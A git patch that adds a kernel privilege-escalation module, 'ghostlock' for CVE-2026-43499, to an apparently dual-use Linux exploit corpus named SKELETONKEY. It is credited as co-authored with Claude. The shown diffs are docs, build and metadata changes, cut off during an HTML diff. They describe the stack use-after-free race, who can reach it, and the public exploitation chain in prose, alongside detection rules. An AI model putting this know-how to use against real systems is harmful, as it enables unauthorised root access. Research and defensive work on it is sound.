From 03324c8542b707ffe812e06dd7b37dd7538d2b1d Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Mon, 13 Jul 2026 15:43:00 -0400 Subject: [PATCH] modules: add ghostlock (CVE-2026-43499, "GhostLock" rtmutex/futex requeue-PI stack UAF) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds the ghostlock module for CVE-2026-43499 ("GhostLock", VEGA / Nebula Security's "IonStack part II") โ€” a ~15-year race UAF on kernel STACK memory in the rtmutex/futex requeue-PI path (kernel/locking/rtmutex.c). On the -EDEADLK deadlock-rollback, remove_waiter() runs against `current` instead of the waiter task, so a concurrent sched_setattr()-driven PI-chain priority walk on another CPU clears pi_blocked_on on the wrong task and leaves an on-stack rt_mutex_waiter dangling. Reachable by any unprivileged user (CVSS 7.8, PR:L) โ€” plain futex(2) + sched_setattr(2), no userns/CONFIG beyond CONFIG_FUTEX_PI. The corpus's first rtmutex/futex-PI module and first kernel-stack UAF (all others are heap/slab). Introduced 2.6.39; fixed 3bfdc63936dd (7.1-rc1), stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175; 5.15/5.10/5.4/4.19 affected with no upstream fix. CWE-416; not in KEV. detect() is a pure version gate over the five-branch backport table. exploit() forks an isolated child that (A) deterministically confirms the -EDEADLK remove_waiter() rollback path is reachable (safe โ€” no concurrent walk means no dangling pointer; validated on real hardware) then (B) exercises the actual race a hard-bounded 24 iters / 2s with a sibling-CPU sched_setattr(SCHED_BATCH) storm, and stops. Deliberately under-driven: no copy_from_user widening, no stack-frame spray/reoccupation, and the KernelSnitch leak -> forged-waiter -> fops/ashmem/pipe R/W -> cred-patch chain (Android/Pixel-specific, per-build offsets) is NOT bundled. Returns EXPLOIT_FAIL. Lowest --auto safety rank (11) โ€” a won race corrupts the kernel stack. Unlike most races it ships a real detection signature (futex requeue-PI returning EDEADLK + sibling sched_setattr); auditd/sigma anchor on sched_setattr, falco/eBPF on the EDEADLK tell; no yara. Wired: registry, Makefile, safety rank 11, version 0.9.13, 9 detect() test rows (incl. 6.13.0 -> VULNERABLE, the multi-branch "newer than all" case), CVE metadata (CWE-416 / T1068 / not-KEV; cve_metadata.c + KEV_CROSSREF.md regenerated -> 13 of 40), README + CVES.md + website counts (45 modules / 40 CVEs), RELEASE_NOTES v0.9.13, verify-vm target. Also corrects pre-existing docs/index.html drift left by v0.9.12 (body counts stuck at 43/38 and a missing bad_epoll corpus pill). Tests: 33 kernel_range + 101 detect, all pass. Credit: VEGA / Nebula Security (nebusec.ai, NebuSec/CyberMeowfia, Apache-2.0); upstream fix 3bfdc63936dd (Keenan Dong / Thomas Gleixner). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01KUq4DGXSPBmPkAyJ9WnM9n --- CVES.md | 11 +- Makefile | 8 +- README.md | 62 +- core/cve_metadata.c | 8 + core/registry.h | 1 + core/registry_all.c | 1 + docs/CVE_METADATA.json | 9 + docs/KEV_CROSSREF.md | 3 +- docs/RELEASE_NOTES.md | 54 ++ docs/index.html | 24 +- modules/ghostlock_cve_2026_43499/MODULE.md | 123 ++++ modules/ghostlock_cve_2026_43499/NOTICE.md | 76 +++ .../skeletonkey_modules.c | 567 ++++++++++++++++++ .../skeletonkey_modules.h | 12 + skeletonkey.c | 5 +- tests/test_detect.c | 75 +++ tools/verify-vm/targets.yaml | 9 + 17 files changed, 999 insertions(+), 49 deletions(-) create mode 100644 modules/ghostlock_cve_2026_43499/MODULE.md create mode 100644 modules/ghostlock_cve_2026_43499/NOTICE.md create mode 100644 modules/ghostlock_cve_2026_43499/skeletonkey_modules.c create mode 100644 modules/ghostlock_cve_2026_43499/skeletonkey_modules.h diff --git a/CVES.md b/CVES.md index d60e106..4b00cb0 100644 --- a/CVES.md +++ b/CVES.md @@ -23,18 +23,18 @@ Status legend: - ๐Ÿ”ด **DEPRECATED** โ€” fully patched everywhere relevant; kept for historical reference only -**Counts:** 44 modules total covering 39 CVEs; **28 of 39 CVEs +**Counts:** 45 modules total covering 40 CVEs; **28 of 40 CVEs verified end-to-end in real VMs** via `tools/verify-vm/`. ๐Ÿ”ต 0 ยท โšช 0 planned-with-stub ยท ๐Ÿ”ด 0. (One โšช row below โ€” CVE-2026-31402 โ€” is a *candidate* with no module, not counted as a module.) > **Note on unverified rows:** `vmwgfx` / `dirty_cow` / > `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` / -> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` / `bad_epoll` are blocked by their target environment (VMware-only, +> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` / `bad_epoll` / `ghostlock` are blocked by their target environment (VMware-only, > kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition -> libs) or are brand-new this cycle, not by missing code (`bad_epoll` is -> a reconstructed epoll race trigger โ€” deliberately under-driven and not -> VM-verified). See +> libs) or are brand-new this cycle, not by missing code (`bad_epoll` and +> `ghostlock` are reconstructed race triggers โ€” deliberately under-driven +> and not VM-verified). See > [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). > > All three now have **pinned fix commits and version-based @@ -99,6 +99,7 @@ root on a host can upstream their kernel's offsets via PR. | CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | ๐ŸŸข | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option โ€” meant only to pair with `-l` โ€” was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h `. Affects sudo 1.8.8 โ†’ 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h id -u`, and pops a root shell only on a uid-0 witness โ€” never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. | | CVE-2026-46243 | CIFSwitch โ€” `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | ๐ŸŸก | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive โ€” `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately โ€” and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. | | CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables โ†’ chain UAF โ†’ kernel R/W โ†’ root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | ๐ŸŸก | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced โ†’ UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` โ€” the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. | +| CVE-2026-43499 | GhostLock โ€” rtmutex/futex requeue-PI `remove_waiter()` stack UAF | LPE (unprivileged, **no userns** โ†’ kernel-**stack** UAF โ†’ near-arbitrary write โ†’ root) | fixed 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 (CNA/Debian backports of `3bfdc63936dd`, mainline 7.1-rc1); 5.15/5.10/5.4/4.19 affected with no upstream fix | `ghostlock` | ๐ŸŸก | **VEGA / Nebula Security public PoC ("IonStack part II: GhostLock"); reconstructed trigger, not VM-verified.** ~15-year stack UAF in `kernel/locking/rtmutex.c`: on the `-EDEADLK` deadlock-rollback, `remove_waiter()` runs against `current` instead of the waiter task, so a concurrent PI-chain priority walk (driven via `sched_setattr()` on a sibling CPU) clears `pi_blocked_on` on the wrong task and leaves an on-stack `rt_mutex_waiter` dangling โ†’ controlled kernel write when the rbtree is later rotated over the reused frame; weaponised (Android/Pixel) via a KernelSnitch page leak โ†’ forged waiter โ†’ `struct file` `f_op` โ†’ configfs/ashmem R/W โ†’ pipe physical R/W โ†’ cred patch. Reachable by **any unprivileged user** (CVSS 7.8, PR:L) โ€” plain `futex(2)` + `sched_setattr(2)`, no userns, no capability, only `CONFIG_FUTEX_PI` (universal). CWE-416 (race root cause CWE-362); not in KEV. The corpus's first rtmutex/futex-PI module and its only kernel-**stack** UAF (all others are heap/slab). detect() is a **pure version gate** across a five-branch backport table. exploit() forks a child that (A) deterministically confirms the `-EDEADLK` `remove_waiter()` rollback path is reachable (safe โ€” validated on real hardware) and (B) exercises the actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU `sched_setattr(SCHED_BATCH)` storm โ€” **deliberately under-driven**: no `copy_from_user` widening, no stack-frame spray/reoccupation, and the KernelSnitch leak + R/W + cred-patch chain is NOT bundled (Android/Pixel-specific, per-build offsets). Returns `EXPLOIT_FAIL`. **Lowest `--auto` safety rank (11)** โ€” a won race corrupts the kernel stack. Unlike most races it has a real detection signature (futex requeue-PI returning `EDEADLK` + sibling `sched_setattr(SCHED_BATCH)`); auditd/sigma anchor on `sched_setattr`, falco/eBPF on the requeue-PI-EDEADLK tell; no yara. Arch-neutral trigger (any). Mitigate: upgrade only. Credit: VEGA / Nebula Security. | | CVE-2026-46242 | Bad Epoll โ€” epoll `ep_remove`/`__fput` teardown race UAF | LPE (unprivileged, **no userns** โ†’ cross-cache to `struct file` โ†’ kernel R/W โ†’ root) | introduced 6.4 (`58c9b016e128`); fixed `a6dc643c6931` (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected | `bad_epoll` | ๐ŸŸก | **Jaeyoung Chung (`J-jaeyoung`) kernelCTF public PoC; reconstructed trigger, not VM-verified.** Race UAF in `fs/eventpoll.c`: `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the file (`hlist_del_rcu` + unlock) while a concurrent `__fput()` frees the still-referenced `struct eventpoll` โ†’ 8-byte UAF write, weaponised via cross-cache to a `struct file`, `/proc/self/fdinfo` arbitrary read, ROP. Reachable by **any unprivileged user** โ€” no userns, no CONFIG, no capability; there is **no unprivileged-userns stopgap**, only patching. CWE-416 (race root cause CWE-362); not in KEV. The corpus's first epoll / VFS-teardown module and cleanest SMP race. detect() is a **pure version gate** (no active probe โ€” you cannot safely distinguish vulnerable from patched without winning the race). exploit() forks a CPU-pinned child that builds the epoll race pair and exercises the concurrent-close window a hard-bounded 48 attempts / 2s โ€” **deliberately under-driven** because a won race frees a live struct file and rarely trips KASAN (silent-corruption risk) โ€” snapshots the eventpoll slab, and returns `EXPLOIT_FAIL`; the cross-cache reclaim + fdinfo R/W + ROP are NOT bundled. Detection is intentionally weak/structural (epoll syscalls are ubiquitous) โ€” rules key on the post-exploitation euid-0 transition; no yara. **Lowest `--auto` safety rank (12).** x86_64. Mitigate: upgrade only. Credit: Jaeyoung Chung. | ## Operations supported per module diff --git a/Makefile b/Makefile index 0b3d716..7f5ba8e 100644 --- a/Makefile +++ b/Makefile @@ -247,6 +247,11 @@ BEP_DIR := modules/bad_epoll_cve_2026_46242 BEP_SRCS := $(BEP_DIR)/skeletonkey_modules.c BEP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(BEP_SRCS)) +# CVE-2026-43499 ghostlock โ€” rtmutex/futex requeue-PI remove_waiter() stack UAF ("GhostLock", VEGA / Nebula Security) +GHL_DIR := modules/ghostlock_cve_2026_43499 +GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c +GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS)) + # Top-level dispatcher TOP_OBJ := $(BUILD)/skeletonkey.o @@ -260,7 +265,8 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \ $(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \ $(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \ $(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \ - $(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) + $(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \ + $(GHL_OBJS) ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS) diff --git a/README.md b/README.md index 3e6faac..065589f 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ [![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2039-brightgreen.svg)](docs/VERIFICATIONS.jsonl) [![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) -> **One curated binary. 44 Linux LPE modules covering 39 CVEs from 2016 โ†’ 2026. +> **One curated binary. 45 Linux LPE modules covering 40 CVEs from 2016 โ†’ 2026. > Every year 2016 โ†’ 2026 covered. 28 confirmed end-to-end against real Linux > VMs via `tools/verify-vm/`. Detection rules in the box. One command picks > the safest one and runs it.** @@ -45,9 +45,9 @@ for every CVE in the bundle โ€” same project for red and blue teams. ## Corpus at a glance -**44 modules covering 39 distinct CVEs** across the 2016 โ†’ 2026 LPE -timeline. **28 of the 39 CVEs have been empirically verified** in real -Linux VMs via `tools/verify-vm/`; the 11 still-pending entries are +**45 modules covering 40 distinct CVEs** across the 2016 โ†’ 2026 LPE +timeline. **28 of the 40 CVEs have been empirically verified** in real +Linux VMs via `tools/verify-vm/`; the 12 still-pending entries are blocked by their target environment (legacy hypervisor, EOL kernel, or the t64-transition libc rollout) or are brand-new additions awaiting a VM sweep, not by missing code. @@ -68,7 +68,7 @@ af_packet ยท af_packet2 ยท af_unix_gc ยท cls_route4 ยท fuse_legacy ยท nf_tables ยท nft_set_uaf ยท nft_fwd_dup ยท nft_payload ยท netfilter_xtcompat ยท stackrot ยท sudo_samedit ยท sequoia ยท vmwgfx -### Empirical verification (28 of 39 CVEs) +### Empirical verification (28 of 40 CVEs) Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove each verdict against a known-target VM. Coverage: @@ -81,7 +81,7 @@ each verdict against a known-target VM. Coverage: | Debian 11 (5.10 stock) | cgroup_release_agent ยท fuse_legacy ยท netfilter_xtcompat ยท nft_fwd_dup | | Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot ยท udisks_libblockdev | -**Not yet verified (11):** `vmwgfx` (VMware-guest-only โ€” no public Vagrant +**Not yet verified (12):** `vmwgfx` (VMware-guest-only โ€” no public Vagrant box), `dirty_cow` (needs โ‰ค 4.4 kernel โ€” older than every supported box), `mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs โ€” needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel @@ -93,7 +93,9 @@ kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian pending), `cifswitch` (detect + `add_key` primitive VM-verified; full chain + patched-kernel discriminator pending), `nft_catchall` (reconstructed kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll -race trigger โ€” deliberately under-driven, not VM-verified). All eleven are +race trigger โ€” deliberately under-driven, not VM-verified), `ghostlock` +(reconstructed rtmutex/futex-PI stack-UAF trigger โ€” deliberately +under-driven, not VM-verified). All twelve are flagged in [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale. @@ -141,7 +143,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara) $ skeletonkey --auto --i-know [*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64 [*] auto: active probes enabled โ€” brief /tmp file touches and fork-isolated namespace probes -[*] auto: scanning 44 modules for vulnerabilities... +[*] auto: scanning 45 modules for vulnerabilities... [+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: pwnkit VULNERABLE (safety rank 100) @@ -210,24 +212,24 @@ also compile (modules with Linux-only headers stub out gracefully). ## Status -**v0.9.12 cut 2026-07-04.** 44 modules across 39 CVEs โ€” **every -year 2016 โ†’ 2026 now covered**. Newest: `bad_epoll` (CVE-2026-46242, -Jaeyoung Chung's "Bad Epoll" โ€” a race use-after-free in `fs/eventpoll.c` -where `ep_remove()` clears `file->f_ep` under `f_lock` but keeps using the -file while a concurrent `__fput()` frees the still-referenced -`struct eventpoll`; reachable by **any unprivileged user with no user -namespace**, weaponised via cross-cache + `/proc/self/fdinfo` arb-read; -kernelCTF public PoC โ€” shipped as a deliberately under-driven, reconstructed -reachability trigger with the corpus's lowest `--auto` safety rank), -`nft_catchall` (CVE-2026-23111, -the nf_tables `nft_map_catchall_activate` abort-path UAF โ€” an inverted -condition frees a chain still referenced by a catch-all GOTO map element; -public reproduction by FuzzingLabs), `cifswitch` (CVE-2026-46243, -Asim Manizada's "CIFSwitch" โ€” the `cifs.spnego` key type trusts -userspace-forged authority fields, coercing the root `cifs.upcall` helper -into loading an attacker NSS module as root), and `ptrace_pidfd` -(CVE-2026-46333, Qualys's `__ptrace_may_access` / `pidfd_getfd` -credential-steal). +**v0.9.13 cut 2026-07-13.** 45 modules across 40 CVEs โ€” **every +year 2016 โ†’ 2026 now covered**. Newest: `ghostlock` (CVE-2026-43499, +VEGA / Nebula Security's "GhostLock" โ€” a ~15-year rtmutex/futex requeue-PI +use-after-free on **kernel stack** memory where `remove_waiter()` clears +`pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback, +raced by a sibling-CPU `sched_setattr()` priority walk; reachable by **any +unprivileged user with no user namespace**; VEGA / Nebula kernelCTF public +PoC ($92k, ~97% stable) โ€” shipped as a deliberately under-driven, +reconstructed trigger anchored on a safe `-EDEADLK` reachability witness +with the corpus's lowest `--auto` safety rank), `bad_epoll` (CVE-2026-46242, +Jaeyoung Chung's "Bad Epoll" โ€” a race UAF in `fs/eventpoll.c` reachable by +any unprivileged user with no user namespace; kernelCTF public PoC), +`nft_catchall` (CVE-2026-23111, the nf_tables `nft_map_catchall_activate` +abort-path UAF โ€” an inverted condition frees a chain still referenced by a +catch-all GOTO map element; public reproduction by FuzzingLabs), and +`cifswitch` (CVE-2026-46243, Asim Manizada's "CIFSwitch" โ€” the +`cifs.spnego` key type trusts userspace-forged authority fields, coercing +the root `cifs.upcall` helper into loading an attacker NSS module as root). v0.9.0 added 5 gap-fillers (`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` / `nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` / @@ -257,13 +259,13 @@ Reliability + accuracy work in v0.7.x: trace, OPSEC footprint, detection-rule coverage, verified-on records. Paste-into-ticket ready. - **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) โ€” fetches - CISA KEV catalog + NVD CWE; 13 of 39 modules cover KEV-listed CVEs. + CISA KEV catalog + NVD CWE; 13 of 40 modules cover KEV-listed CVEs. - **151 detection rules** across auditd / sigma / yara / falco; one command exports the corpus to your SIEM. - `--auto` upgrades: per-detect 15s timeout, fork-isolated detect + exploit, structured verdict table, scan summary, `--dry-run`. -Not yet verified (11 of 39 CVEs): `vmwgfx` (VMware-guest only), +Not yet verified (12 of 40 CVEs): `vmwgfx` (VMware-guest only), `dirty_cow` (needs โ‰ค 4.4 kernel), `mutagen_astronomy` (mainline 4.14.70 panics on Ubuntu 18.04 rootfs โ€” needs CentOS 6 / Debian 7), `pintheft` + `vsock_uaf` (kernel modules not autoloaded on common @@ -272,7 +274,9 @@ libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host` + `cifswitch` (cifswitch detect + primitive VM-verified; full chain pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not VM-verified) + `bad_epoll` (reconstructed epoll race trigger, -deliberately under-driven, not VM-verified). Rationale in +deliberately under-driven, not VM-verified) + `ghostlock` (reconstructed +rtmutex/futex-PI stack-UAF trigger, deliberately under-driven, not +VM-verified). Rationale in [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml). See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and diff --git a/core/cve_metadata.c b/core/cve_metadata.c index 7b7fc4b..98d620c 100644 --- a/core/cve_metadata.c +++ b/core/cve_metadata.c @@ -292,6 +292,14 @@ const struct cve_metadata cve_metadata_table[] = { .in_kev = false, .kev_date_added = "", }, + { + .cve = "CVE-2026-43499", + .cwe = "CWE-416", + .attack_technique = "T1068", + .attack_subtechnique = NULL, + .in_kev = false, + .kev_date_added = "", + }, { .cve = "CVE-2026-46242", .cwe = "CWE-416", diff --git a/core/registry.h b/core/registry.h index 4db3754..dcfb219 100644 --- a/core/registry.h +++ b/core/registry.h @@ -60,6 +60,7 @@ void skeletonkey_register_sudo_host(void); void skeletonkey_register_cifswitch(void); void skeletonkey_register_nft_catchall(void); void skeletonkey_register_bad_epoll(void); +void skeletonkey_register_ghostlock(void); /* Call every skeletonkey_register_() above in canonical order. * Single source of truth so the main binary and the test binary stay diff --git a/core/registry_all.c b/core/registry_all.c index 05759c2..78ed5da 100644 --- a/core/registry_all.c +++ b/core/registry_all.c @@ -56,4 +56,5 @@ void skeletonkey_register_all_modules(void) skeletonkey_register_cifswitch(); skeletonkey_register_nft_catchall(); skeletonkey_register_bad_epoll(); + skeletonkey_register_ghostlock(); } diff --git a/docs/CVE_METADATA.json b/docs/CVE_METADATA.json index 13dc226..e987d41 100644 --- a/docs/CVE_METADATA.json +++ b/docs/CVE_METADATA.json @@ -314,6 +314,15 @@ "in_kev": false, "kev_date_added": "" }, + { + "cve": "CVE-2026-43499", + "module_dir": "ghostlock_cve_2026_43499", + "cwe": "CWE-416", + "attack_technique": "T1068", + "attack_subtechnique": null, + "in_kev": false, + "kev_date_added": "" + }, { "cve": "CVE-2026-46242", "module_dir": "bad_epoll_cve_2026_46242", diff --git a/docs/KEV_CROSSREF.md b/docs/KEV_CROSSREF.md index ca058df..058db54 100644 --- a/docs/KEV_CROSSREF.md +++ b/docs/KEV_CROSSREF.md @@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited in the wild per the Known Exploited Vulnerabilities catalog. Refreshed via `tools/refresh-cve-metadata.py`. -**13 of 39 modules cover KEV-listed CVEs.** +**13 of 40 modules cover KEV-listed CVEs.** ## In KEV (prioritize patching) @@ -54,6 +54,7 @@ and are technically reachable. "Not in KEV" is not the same as | CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` | | CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` | | CVE-2026-43494 | ? | `pintheft_cve_2026_43494` | +| CVE-2026-43499 | CWE-416 | `ghostlock_cve_2026_43499` | | CVE-2026-46242 | CWE-416 | `bad_epoll_cve_2026_46242` | | CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` | | CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` | diff --git a/docs/RELEASE_NOTES.md b/docs/RELEASE_NOTES.md index 829866d..a10b4a7 100644 --- a/docs/RELEASE_NOTES.md +++ b/docs/RELEASE_NOTES.md @@ -1,3 +1,57 @@ +## SKELETONKEY v0.9.13 โ€” new LPE module: ghostlock (CVE-2026-43499) + +Adds **`ghostlock` โ€” CVE-2026-43499 "GhostLock"** (VEGA / Nebula Security, +"IonStack part II"), taking the corpus to **45 modules / 40 CVEs** and opening a +brand-new subsystem: **rtmutex / futex requeue-PI** (`kernel/locking/rtmutex.c`). +It is also the corpus's first kernel-**stack** use-after-free โ€” every other UAF +in the set is heap/slab. On the `-EDEADLK` deadlock-rollback path, +`remove_waiter()` operates on `current` instead of the actual waiter task while +unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from +`futex_requeue()`); if a concurrent PI-chain priority walk โ€” driven from another +CPU via `sched_setattr()` โ€” runs at that instant, `pi_blocked_on` is cleared on +the wrong task and an on-stack `rt_mutex_waiter` is left dangling, becoming a +controlled kernel write when the rbtree is later rotated over the reused frame. +Reachable by **any unprivileged user** (CVSS 7.8, PR:L) โ€” plain `futex(2)` + +`sched_setattr(2)`, no user namespace, no capability, only `CONFIG_FUTEX_PI` +(universal). It has existed since PI-futex requeue landed in **2.6.39** โ€” ~15 +years across every distribution. The public exploit weaponises it (Android/Pixel) +via a "KernelSnitch" futex-bucket page leak โ†’ forged waiter โ†’ `struct file` +`f_op` โ†’ configfs/ashmem R/W โ†’ pipe physical R/W โ†’ cred patch; ~97% stable on +kernelCTF, $92,337. Introduced 2.6.39; fixed `3bfdc63936dd` (merged 7.1-rc1), +stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 โ€” the +5.15/5.10/5.4/4.19 LTS branches are affected with no upstream fix. CWE-416 (race +root cause CWE-362); not in CISA KEV. + +๐ŸŸก **Trigger (reconstructed) โ€” reachability-only, deliberately under-driven, not +VM-verified.** `detect()` is a pure kernel-version gate over a five-branch +backport table (7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits +mainline; 5.15/5.10/5.4/4.19 affected with no fix; < 2.6.39 not affected) โ€” no +userns/CONFIG probe (`CONFIG_FUTEX_PI` assumed). `exploit()` forks an isolated +child that **(A)** deterministically confirms the `-EDEADLK` `remove_waiter()` +rollback path is reachable โ€” a **safe** witness, since without a concurrent +priority walk the unwind creates no dangling pointer (validated on real hardware: +the requeue-PI cycle returns `-EDEADLK` reliably) โ€” then **(B)** exercises the +actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU +`sched_setattr(SCHED_BATCH)` storm, and stops. It does **not** widen the +`copy_from_user` window (no memfd/`PUNCH_HOLE`), does **not** spray or reoccupy +the freed stack frame, and does **not** bundle the KernelSnitch leak โ†’ +forged-waiter โ†’ fops/configfs/ashmem/pipe R/W โ†’ cred-patch chain (Android/Pixel- +specific, per-build offsets). Returns `EXPLOIT_FAIL`. It carries the corpus's +**lowest `--auto` safety rank (11)** โ€” a won race corrupts the kernel stack and +drives a near-arbitrary pointer write (near-certain panic), so `--auto` only +reaches for it after every safer vulnerable module. Unlike most kernel races +GhostLock has a **real detection signature**: a futex requeue-PI op returning +`-EDEADLK` (glibc never provokes this) plus tight-loop +`sched_setattr(SCHED_BATCH)` on a sibling thread โ€” the shipped auditd/sigma rules +anchor on `sched_setattr` + the post-exploitation euid-0 transition, the +falco/eBPF rule on the requeue-PI-EDEADLK tell; no yara. Wired: registry, +Makefile, safety rank (11), 9 `detect()` test rows (incl. the multi-branch +"newer than all" case 6.13.0 โ†’ VULNERABLE), CVE metadata (CWE-416 / T1068 / +not-KEV), README + CVES.md + website counts (45/40), RELEASE_NOTES v0.9.13, and a +verify-vm target (sweep pending). Also corrects pre-existing website drift left +by v0.9.12 (index.html body counts + the missing `bad_epoll` corpus pill). +Credits VEGA / Nebula Security + the upstream fix `3bfdc63936dd`. + ## SKELETONKEY v0.9.12 โ€” new LPE module: bad_epoll (CVE-2026-46242) Adds **`bad_epoll` โ€” CVE-2026-46242 "Bad Epoll"** (Jaeyoung Chung / diff --git a/docs/index.html b/docs/index.html index 25b00fc..14ce02c 100644 --- a/docs/index.html +++ b/docs/index.html @@ -4,9 +4,9 @@ SKELETONKEY โ€” Linux LPE corpus, VM-verified, SOC-ready detection - + - + @@ -62,8 +62,8 @@ SKELETONKEY

- One binary. 43 Linux LPE modules covering 38 CVEs โ€” - every year 2016 โ†’ 2026. 28 of 38 confirmed against + One binary. 45 Linux LPE modules covering 40 CVEs โ€” + every year 2016 โ†’ 2026. 28 of 40 confirmed against real Linux kernels in VMs. SOC-ready detection rules in four SIEM formats. MITRE ATT&CK + CWE + CISA KEV annotated. --explain gives a one-page operator briefing per CVE. @@ -81,7 +81,7 @@

-
0modules
+
0modules
